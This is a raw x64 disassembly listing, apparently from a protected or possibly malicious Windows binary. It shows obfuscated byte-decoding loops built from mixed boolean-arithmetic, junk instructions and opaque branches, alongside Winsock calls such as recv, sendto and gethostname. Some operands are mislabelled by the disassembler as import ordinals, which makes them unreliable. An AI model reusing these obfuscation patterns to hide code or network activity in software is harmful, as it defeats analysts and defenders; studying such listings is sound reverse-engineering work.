jmp 0x140089c51
movabs rdx, 0xfc59639718ba8cd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a3fb
movabs rdx, 0x194fb06f7f8e4038
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a3ca
movabs rcx, 0x3645fd47e661f3a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089742
movabs rcx, 0x533c4a204d35a708
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
jmp 0x14008a38b
movabs rdx, 0x703296f8b4095a70
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
jmp 0x14008a338
movabs rdx, 0x8d28e3d11add0dd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140089742
movabs rdx, 0xaa1f30a981b0c140
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140089742
movabs rdx, 0xc7157d81e88474a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a2bd
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140089e88
movabs rdx, 0x7184d993cc96264c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
jmp 0x140089cc3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089ec9
movabs rcx, 0x9fcbb23f90a24878
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
inc rax
cmp r8, rax
jne 0x140089efc
movabs rdx, 0x82d5656729ce9510
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x14008a3fb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089f1d
movabs rdx, 0x2bf27eddf5537ad8
mov ecx, recv
jmp 0x14008a377
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089f56
movabs rcx, 0xd50f9854c0d860a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140089742
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140089cc6
movabs rdx, 0xb8194b7c5a04ad38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14008a2a9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089f98
movabs rdx, 0xefb18b5f58f36cb4
mov ecx, 0xa
jmp 0x14008a2a9
inc rax
cmp r8, rax
jne 0x140089fd0
movabs rcx, 0xd2bb3e86f21fb94c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
inc r9
dec rdi
inc rdi
jmp 0x140089742
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a001
movabs rdx, 0x98cea4d62478527c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x14008a338
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008a022
movabs rdx, 0x7bd857fdbda49f14
mov ecx, Ordinal_60
jmp 0x14008a377
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008a067
movabs rdx, 0x5ee20b2556d0ebac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089742
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008a09b
movabs rdx, 0x24f57174892984dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x14008a3fb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140089c54
movabs rcx, 0x7ff249c2255d174
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a111
movabs rdx, 0x5aacace539d2a20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a3ca
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008a142
movabs rdx, 0xaec7e4451f220fe8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x14008a338
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140089c00
movabs rdx, 0x57e4fdbbeaa6f5b0
mov ecx, Ordinal_26
jmp 0x14008a2a9
mov byte [rbp + rdi + 0xe98], r11b
inc rdi
jmp 0x140089742
movabs rdx, 0x1df8640b1cff8ee0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xe98]
sub r11b, al
sub r11b, 0x20
add r11b, bl
jmp 0x14008a338
movabs rdx, 0x1021732b62bdb78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xe98]
sub r11b, 0x48
add r11b, dl
jmp 0x14008a3ca
movabs rcx, 0x4b3d25842adfd594
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
movabs rdx, 0x8529bf34f8873c64
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a3ca
movabs rcx, 0xbf1658e5c62ea334
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
jmp 0x14008a38b
movabs rdx, 0xdc0ca5be2d02569c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
jmp 0x14008a338
movabs rcx, 0xf902f29693d60a04
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
dec rdi
inc rdi
jmp 0x140089742
movabs rdx, 0x32ef8c47617d70d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0xac738a7750696894
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xc
add cl, bl
mov byte [rbp + rdi + 0xe98], cl
inc r9
dec rdi
inc rdi
jmp 0x140089742
movabs rcx, 0x89d272d095f88b0c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
inc r9
dec rdi
inc rdi
jmp 0x140089742
movabs rdx, 0xc3bf0c81639ff1dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
movabs rdx, 0x8f7d3d9ee995b52c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x34
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xe98], cl
jmp 0x14008a38b
movabs rdx, 0xe0b55959ca73a544
mov ecx, reloc.WS2_32.dll_select
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089742
mov rbx, r10
movabs rdx, 0x1aa1f30a981b0c14
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x7286f0c682c201c4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x5c
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe98], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xe40bca5a4f582810
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x70
add bl, cl
mov byte [rbp + rdi + 0xe98], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
movabs rcx, 0x548e8cbb65c272e4
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
movabs rcx, 0xfa0509c94a01e57c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
jmp 0x14008973e
movabs rcx, 0x16fb56a1b0d598e4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3c
jmp 0x140089725
lea rcx, [rbp + 0x161c9a8]
jmp 0x14008a4d9
lea rcx, [rbp + 0xf7eff4]
jmp 0x14008a4d9
lea rcx, [rbp + 0xe98]
mov dword [rbp + 0x1018], 0x64
mov dword [rbp + 0x1020], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1018]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1020]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xec0], Ordinal_41
mov byte [rbp + 0xec1], Ordinal_50
mov byte [rbp + 0xec2], Ordinal_45
mov byte [rbp + 0xec3], 0xe5
mov byte [rbp + 0xec4], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xec5], xmm0
mov qword [rbp + 0xed5], rax
mov dword [rbp + 0xedd], eax
mov word [rbp + 0xee1], ax
movabs rsi, 0x1049465a4829e84
movabs r12, 0x8624ca1d38988174
movabs r14, 0xd5f9bdddbace49fc
movabs r15, 0xc9b029a3499d4714
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008b363
movzx ebx, byte [rbp + rdi + 0xec0]
mov r10, rbx
cmp r8, rdi
ja 0x14008b357
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008a5e7
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x2c
jmp 0x14008a620
je 0x14008b2c1
inc rax
cmp r8, rax
je 0x14008b251
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b1fc
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b19a
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008b144
cmp r9, rdi
ja 0x14008b34b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008a655
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a690
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008b11c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b0ee
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b0cb
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008b093
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008acf5
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008acd0
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008aca4
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008ac76
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008ac51
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008ac2e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008abf6
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008abce
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008aba7
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008ab6e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008a6a0
lea r8, [r9 + 6]
lea r9, [r8 + 0x64]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008b323
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008b2fb
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008a88f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008a870
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008a851
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008ab0f
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008aaae
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008aa60
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008aa32
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008a6a0
lea r8, [r9 + 0x400]
lea r9, [r8 + 3]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008a9fe
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008a9d7
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008a9af
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008a97c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008a959
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008a931
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008a908
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008a8d7
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008a8b2
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008a6a0
lea r8, [r9 + 8]
lea r9, [r8 + 0x80]
jmp 0x14008a6a0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a690
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a620
movabs rcx, 0xbd669568d86c442c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x14008a5b4
movabs rdx, 0x824a32d2414f420
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008b163
movabs rdx, 0xfbdb0ef2b2e3f138
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14008a5a2
movabs rcx, 0xef917ab841b2ee50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xe347e67dd081eb68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b1bc
movabs rcx, 0xd6fe52435f50e880
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x14008b1e4
movabs rcx, 0xcab4be08ee1fe598
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xbe6b29ce7ceee2b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b21e
movabs rdx, 0xb22195940bbddfc8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14008b279
movabs rcx, 0xa5d801599a8cdce0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0xec0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a5a2
movabs rcx, 0x7200ec77f92559c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x44
mov byte [rbp + rdi + 0xec0], r11b
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xfad67a8d0e6152b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 3
jb 0x14008aa50
movabs rcx, 0x72a887a48cc39438
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x10]
jmp 0x14008b166
movabs rdx, 0xee8ce6529d304fcc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x64
jae 0x14008b037
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14008af22
movabs rdx, 0xf7c8bd5c20d97728
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x14008aa83
movabs rcx, 0xe24352182bff4ce4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
lea rax, [r9 + r8]
cmp rax, 2
je 0x14008b064
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14008ae39
movabs rcx, 0xf6c428f67c56d8a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x14008aad1
movabs rdx, 0x61b7a61db0fb718
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xec0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xf9d1e62769deb430
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x14008b279
movabs rdx, 0xed8851ecf8adb148
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b21e
movabs rdx, 0xe13ebdb2877cae60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a5a2
movabs rcx, 0xd4f52978164bab78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14008b1e4
movabs rdx, 0xc8ab953da51aa890
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008b1b9
movabs rdx, 0xbc62010333e9a5a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14008a5a2
movabs rcx, 0xb0186cc8c2b8a2c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xa3ced88e51879fd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008b163
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14008ad23
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14008ab2d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ad64
movabs rcx, 0x20928cb49053d08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0xec0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008ad99
movabs rdx, 0x1a9c51402b6742d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b21e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008adce
movabs rdx, 0x332f79b50dc948a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b1e4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ae03
movabs rdx, 0x3f790def7efa4b90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b1bc
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008ab2d
movabs rcx, 0x4bc2a229f02b4e78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ae6e
movabs rdx, 0x30dbd30ed87db8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b166
inc rax
cmp r8, rax
jne 0x14008aea8
movabs rdx, 0x1ba0e5a5cfe9e15c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008aedd
movabs rdx, 0x27ea79e0411ae444
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b1bc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008aad1
movabs rdx, 0x407da255237cea14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008af63
movabs rcx, 0x4125196920a7a10
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0xec0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008af93
movabs rcx, 0x418236bac7ff8898
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x14008b1bc
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008afc9
movabs rcx, 0x4dcbcaf539308b80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b007
movabs rdx, 0x5a155f2faa618e68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14008a5a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008aa83
movabs rcx, 0x665ef36a1b929150
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008b166
movabs rdx, 0x7ef21bdefdf49720
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xec0]
add r11b, bl
jmp 0x14008b1b9
movabs rdx, 0x8b3bb0196f259a08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xec0]
sub r11b, 0x38
add r11b, dl
jmp 0x14008b21e
movabs rdx, 0x4abe0dc44ba8aff4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a5a2
movabs rcx, 0x3e747989da77ad0c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
jmp 0x14008b1e4
movabs rdx, 0x25e15114f815a73c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xd4e28a015b3a16c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b166
movabs rdx, 0xf4bb002b33519b9c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
add r11b, dl
movabs rdx, 0xf8cd51c1c55c15ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xec0], cl
inc r9
dec rdi
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xcfde437bdfbe92e4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
add r11b, dl
movabs rdx, 0x516e5fc368d1894
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0xc
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xec0], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a5a2
mov rbx, r10
movabs rcx, 0xab0186cc8c2b8a2c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
movabs rcx, 0x11607a36a7be1b7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x64
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xec0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008b279
movabs rdx, 0x9eb7f2921afa8744
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx ebx, r10b
movabs rdx, 0x97854453e0569cf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xec0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xec0]
add rax, r9
add rdi, rax
inc rdi
